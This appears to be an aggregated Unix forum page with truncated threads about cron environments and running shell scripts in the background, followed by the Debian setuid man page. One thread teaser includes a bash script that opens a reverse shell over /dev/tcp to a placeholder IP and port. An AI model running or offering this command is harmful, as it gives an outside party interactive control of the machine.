Unless you give the required command's path (ex. oracle home,java home etc) in .profile file, this file would not help in running cron. So if you want to run a script through cron, give full path in the script for external commands (sqlplus,java etc) and files/logs you want create while running script. In case you want to store a value from a file, which you have already created, we could try as
The above would work if you run the script manually as most of the time we will save the file in the same location where we save the script. If the same needs to run in cron, the shell would not be able to find this .txt file as cron by default to my knowledge will run the script from the user's home directory. Hence the work around would be
Similarly its the case of other commands which are not shell bulit-in.
I'm trying to install a solaris 9 patch cluster and when I try to use & to run in background it won't allow me to enter in my sudo password so it fails the install and sudo auth. Does Solaris not have screen like linux? If & will work what am I doing wrong?
sudo ./install_cluster -q &
is... (3 Replies)
hey all,
i am working on sun solaris machine and i want to start a process in background using shell script (actually i wanna start tomcat server using shell script). please dont tell me that append a & at last because this is not working in the shell script. i have also used nohup and... (8 Replies)
Hi,
Should the user jobs specified in crontab be running in background?
Cron daemon is already running in background. So I am not sure
whether should the jobs (output and error messages are redirected to file)
ran by it be explicitly stated to be run in background (& at end of command)
if one... (1 Reply)
Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0
- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the... (2 Replies)
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Hi Guys,
I do have a shell script that I scheduled to run via the cron but when the script don't run.
But when I run the script manually it does run perfectly...
What might be the problem?
Thanks. (1 Reply)
I have written the below query to genrate a telephone.I am passing account number from oracle database.
I am calling 2 scripts which generate the bill
1. bip.sh (it runs in the background)
2.runXitInvoice_PROFORMA_integ
bip.sh generates a number which runXitInvoice_PROFORMA_integ
uses.How... (7 Replies)
Hi,
I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help..
i am using below command to run script
nohup system_traps.sh &
but in some... (9 Replies)
Hi,
I want to run a shell script in background .
but its going to stopped state
$ ksh cat_Duplicate_Records_Removal.ksh &
8975
$
+ Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh &
why is this happening?
Also could anyone please tell me what is a stopped... (12 Replies)
Hi,
I have this simple c program that creates duplicate process with fork():
#include <sys/types.h>
main()
{
if (fork() == 0)
while(1);
else
while(1);
}
I tried running it in the background
gcc -o test first.c
test &
And I got this list of running process: (4 Replies)
Discussion started by: uniran
4 Replies
LEARN ABOUT DEBIAN
setuid
SETUID(1) General Commands Manual SETUID(1)NAME
setuid - run a command with a different uid.
SYNOPSIS
setuid username|uid command [ args ]
DESCRIPTION
Setuid changes user id, then executes the specified command. Unlike some versions of su(1), this program doesn't ever ask for a password
when executed with effective uid=root. This program doesn't change the environment; it only changes the uid and then uses execvp() to find
the command in the path, and execute it. (If the command is a script, execvp() passes the command name to /bin/sh for processing.)
For example,
setuid some_user $SHELL
can be used to start a shell running as another user.
Setuid is useful inside scripts that are being run by a setuid-root user -- such as a script invoked with super, so that the script can
execute some commands using the uid of the original user, instead of root. This allows unsafe commands (such as editors and pagers) to be
used in a non-root mode inside a super script. For example, an operator with permission to modify a certain protected_file could use a
super command that simply does:
cp protected_file temp_file
setuid $ORIG_USER ${EDITOR:-/bin/vi} temp_file
cp temp_file protected_file
(Note: don't use this example directly. If the temp_file can somehow be replaced by another user, as might be the case if it's kept in a
temporary directory, there will be a race condition in the time between editing the temporary file and copying it back to the protected
file.)
AUTHOR
Will Deich
local SETUID(1)